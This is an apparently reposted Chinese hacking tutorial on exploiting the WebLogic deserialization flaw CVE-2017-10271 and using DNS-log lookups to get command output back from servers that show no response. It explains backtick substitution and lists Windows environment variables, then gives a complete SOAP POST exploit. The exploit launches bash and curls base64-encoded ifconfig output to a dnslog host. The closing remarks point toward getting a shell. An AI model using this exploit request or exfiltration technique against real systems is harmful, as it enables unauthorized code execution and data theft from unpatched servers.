利用DNSlog回顯Weblogic(CVE-2017-10271) 漏洞執行命令結果


作者:Armyzer0

 

Weblogic(CVE-2017-10271) 漏洞出來以后又是一波血雨腥風,正好我昨天測試的時候發現了一個存在這個漏洞的weblogic,但是他不回顯咋辦呢!讓他返回執行結果集到dnslong首先大家先了解下 “ 這個符號在Linux的作用!

符號:` `
名稱:反引號,上分隔符
位置:反引號(`)這個字符一般在鍵盤的左上角,數字1的左邊,不要將其同單引號(’)混淆
作用:反引號括起來的字符串被shell解釋為命令行,在執行時,shell首先執行該命令行,並以它的標准輸出結果取代整個反引號(包括兩個反引號)部分

1.png

` ` 里面的內容是當做命令來執行

還有一些其他符號也可以產生同樣的效果我就不一一介紹了

然后我們在來說下Windows 下的

2.png

ping %COMPUTERNAME%.baidu.com  [/size][/align]
[align=left][size=3]%COMPUTERNAME% 是一個變量,得到計算機名[/size][/align]
[align=left][size=3]%ALLUSERSPROFILE% : 列出所有用戶Profile文件位置。 
%APPDATA% :  列出應用程序數據的默認存放位置。 
%CD% :  列出當前目錄。 
%CLIENTNAME% :  列出聯接到終端服務會話時客戶端的NETBIOS名。 
%CMDCMDLINE% :  列出啟動當前cmd.exe所使用的命令行。 
%CMDEXTVERSION% :  命令出當前命令處理程序擴展版本號。 
%CommonProgramFiles% :  列出了常用文件的文件夾路徑。 
%COMPUTERNAME% :  列出了計算機名。  
%COMSPEC% :  列出了可執行命令外殼(命令處理程序)的路徑。 
%DATE% :  列出當前日期。 
%ERRORLEVEL% :  列出了最近使用的命令的錯誤代碼。 
%HOMEDRIVE% :  列出與用戶主目錄所在的驅動器盤符。 
%HOMEPATH% :  列出用戶主目錄的完整路徑。 
%HOMESHARE% :  列出用戶共享主目錄的網絡路徑。 
%LOGONSEVER% :  列出有效的當前登錄會話的域名控制器名。 
%NUMBER_OF_PROCESSORS% :  列出了計算機安裝的處理器數。 
%OS% :  列出操作系統的名字。(Windows XP 和 Windows 2000 列為 Windows_NT.)
%Path% :  列出了可執行文件的搜索路徑。 
%PATHEXT% :  列出操作系統認為可被執行的文件擴展名。  
%PROCESSOR_ARCHITECTURE% :  列出了處理器的芯片架構。 
%PROCESSOR_IDENTFIER% :  列出了處理器的描述。 
%PROCESSOR_LEVEL% :  列出了計算機的處理器的型號。  
%PROCESSOR_REVISION% :  列出了處理器的修訂號。 
%ProgramFiles% :  列出了Program Files文件夾的路徑。 
%PROMPT% :  列出了當前命令解釋器的命令提示設置。 
%RANDOM% :  列出界於0 和 32767之間的隨機十進制數。 
%SESSIONNAME% :  列出連接到終端服務會話時的連接和會話名。 
%SYSTEMDRIVE% :  列出了Windows啟動目錄所在驅動器。 
%SYSTEMROOT% :  列出了Windows啟動目錄的位置。 
%TEMP% and %TMP% :  列出了當前登錄的用戶可用應用程序的默認臨時目錄。 
%TIME% :  列出當前時間。 
%USERDOMAIN% :  列出了包含用戶帳號的域的名字。 
%USERNAME% :  列出當前登錄的用戶的名字。 
%USERPROFILE% :  列出當前用戶Profile文件位置。 
%WINDIR% :  列出操作系統目錄的位置。  
[/size][/align][align=left][size=3]變量 類型 描述  
%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。  
%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。  
%CD% 本地 返回當前目錄字符串。  
%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。  
%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。  
%COMPUTERNAME%  系統 返回計算機的名稱。  
%COMSPEC%  系統 返回命令行解釋器可執行程序的准確路徑。  
%DATE%  系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。  
%ERRORLEVEL%  系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。  
%HOMEDRIVE%  系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。  
%HOMEPATH%  系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。  
%HOMESHARE%  系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。  
%LOGONSERVER%  本地 返回驗證當前登錄會話的域控制器的名稱。  
%NUMBER_OF_PROCESSORS%  系統 指定安裝在計算機上的處理器的數目。  
%OS%  系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。  
%PATH% 系統 指定可執行文件的搜索路徑。  
%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。  
%PROCESSOR_ARCHITECTURE%  系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。  
%PROCESSOR_IDENTFIER% 系統 返回處理器說明。  
%PROCESSOR_LEVEL%  系統 返回計算機上安裝的處理器的型號。  
%PROCESSOR_REVISION% 系統 返回處理器的版本號。  
%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。  
%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。  
%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。  
%SYSTEMROOT%  系統 返回 Windows server operating system 根目錄的位置。  
%TEMP% 和 %TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。  
%TIME% 系統 返回當前時間。使用與 time /t 命令相同的格式。由 Cmd.exe 生成。有關 time 命令的詳細信息,請參閱 Time。  
%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。  
%USERNAME% 本地 返回當前登錄的用戶的名稱。  
%USERPROFILE% 本地 返回當前用戶的配置文件的位置。  
%WINDIR% 系統 返回操作系統目錄的位置。 
 
%allusersprofile%--------------------所有用戶的profile路徑 
 
%Userprofile%-----------------------當前用戶的配置文件目錄 
 
%Appdata%--------------------------當前用戶的應用程序路徑 
 
%commonprogramfiles%-------------應用程序公用的文件路徑 
 
%homedrive%------------------------當前用戶的主盤 
 
%Homepath%------------------------當前用戶的主目錄 
 
%programfiles%----------------------應用程序的默認安裝目錄 
 
%systemdrive%----------------------系統所在的盤符 
 
%systemroot%-----------------------系統所在的目錄 
 
%windir%----------------------------同上,總是跟systemroot一樣 
 
%tmp%------------------------------當前用戶的臨時目錄 
 
%temp%-----------------------------同上臨時目錄[/size][/align][align=left][size=3]

這里給大家附上Windows下的變量大全:

至於dnslong 也在這里 小小的科普下

wiki:

NS(Name Server)記錄是域名服務器記錄,用來指定該域名由哪個DNS服務器來進行解析。 DNS:域名解析服務器。 A記錄:指定域名對應的IP地址。

DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息

太多的介紹就不說,命令執行返回的結果顯示搞定了,但是接來下碰到一個問題就是你執行

的命令有空格 DNslog 里面的會得到什么,

3.jpg

看到沒有 只返回docker0:

這個 原有的內容是

4.png

 

這個時候 我們該如何是好,

教大家一個辦法,把輸出的內容base64以后在把空格換成-

5.png

 

然后查看dnslog

6.png

得到base64 但是覺得把-去除 然后解密 就可以了

7.png

 

在這里給出大家poc 實戰

我就不發了 第一懶得搭環境,第二 怕菊花不保

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Content-Type:text/xml
Content-Length: 657
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java version="1.8.0_131" class="java.beans.XMLDecoder">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>curl XXXX.dnslog.link/`ifconfig|base64|tr '\n' '-'`</string>
 </void>
 </array>
 <void method="start"/></void>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

好了 打完收工,至於什么getshell 呀 這些我就不說了 大神請開始你們的表演

技術有限 寫錯請勿噴我,但是你們可以打我!

 

>>>>>>黑客入門必備技能   帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM